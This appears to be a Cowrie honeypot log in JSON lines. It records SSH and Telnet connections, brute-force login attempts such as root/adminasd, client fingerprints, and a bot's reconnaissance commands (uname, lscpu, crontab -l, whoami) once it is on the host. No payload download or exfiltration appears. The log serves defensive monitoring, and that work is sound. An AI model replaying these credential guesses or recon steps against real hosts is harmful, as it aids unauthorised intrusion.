{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:21.590078Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:21.855044Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:22.419909Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:22.423719Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:22.426986Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:22.691289Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:23.260364Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:23.263119Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:23.525073Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:24.111277Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:24.114361Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:24.376829Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:25.066150Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:25.069643Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:25.332903Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:25.897643Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:25.901225Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:26.165698Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:26.727413Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:26.730676Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:26.993600Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:27.565471Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:27.568729Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:27.830942Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:28.387492Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:28.390826Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:28.652907Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:29.217509Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:29.220855Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:29.484595Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:30.062535Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:30.066420Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:30.330791Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:30.897090Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:30.900517Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:31.165204Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.0","message":"Connection lost after 22.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:31.170113Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":54904,"dst_ip":"159.203.135.109","dst_port":22,"session":"434cbd54d797","protocol":"ssh","message":"New connection: 120.28.109.188:54904 (159.203.135.109:22) [session: 434cbd54d797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:36:12.775118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:36:12.779849Z","src_ip":"120.28.109.188","session":"434cbd54d797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:36:13.039901Z","src_ip":"120.28.109.188","session":"434cbd54d797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.220","src_port":43209,"dst_ip":"10.17.0.5","dst_port":22,"session":"36e7c2cd7b79","protocol":"ssh","message":"New connection: 64.62.156.220:43209 (10.17.0.5:22) [session: 36e7c2cd7b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:36:13.801369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:36:13.806157Z","src_ip":"64.62.156.220","session":"36e7c2cd7b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:36:13.883097Z","src_ip":"64.62.156.220","session":"36e7c2cd7b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminasd","message":"login attempt [root/adminasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:36:14.109296Z","src_ip":"120.28.109.188","session":"434cbd54d797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:36:15.372114Z","src_ip":"120.28.109.188","session":"434cbd54d797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:36:17.803713Z","src_ip":"64.62.156.220","session":"36e7c2cd7b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":53809,"dst_ip":"10.17.0.5","dst_port":23,"session":"71af78a5c733","protocol":"telnet","message":"New connection: 212.55.149.117:53809 (10.17.0.5:23) [session: 71af78a5c733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:36:59.265712Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":34104,"dst_ip":"159.203.135.109","dst_port":22,"session":"7449f313309e","protocol":"ssh","message":"New connection: 120.28.109.188:34104 (159.203.135.109:22) [session: 7449f313309e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:15.322874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:15.331438Z","src_ip":"120.28.109.188","session":"7449f313309e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:15.590184Z","src_ip":"120.28.109.188","session":"7449f313309e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4444444444","message":"login attempt [ubuntu/4444444444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:16.658881Z","src_ip":"120.28.109.188","session":"7449f313309e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:17.920918Z","src_ip":"120.28.109.188","session":"7449f313309e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.181","src_port":60272,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e46e538de0a","protocol":"ssh","message":"New connection: 45.79.207.181:60272 (159.203.135.109:22) [session: 1e46e538de0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:37.858608Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000u\u0001\u0000\u0000q\u0003\u0003\\xb5\\xe1\\xf1S\\x87\u0004\\x90\u0012m}7|z\u0011\u026e\\xcb#Qx\\x94\\xfaq\" ^h\\xf84\u007f_\\xa2\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000u\u0001\u0000\u0000q\u0003\u0003\\xb5\\xe1\\xf1S\\x87\u0004\\x90\u0012m}7|z\u0011\u026e\\xcb#Qx\\x94\\xfaq\" ^h\\xf84\u007f_\\xa2\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:37.865740Z","src_ip":"45.79.207.181","session":"1e46e538de0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:37.869065Z","src_ip":"45.79.207.181","session":"1e46e538de0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.50.83.136","src_port":40444,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbc8f0122914","protocol":"telnet","message":"New connection: 14.50.83.136:40444 (10.17.0.5:23) [session: dbc8f0122914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:37:41.485406Z"}
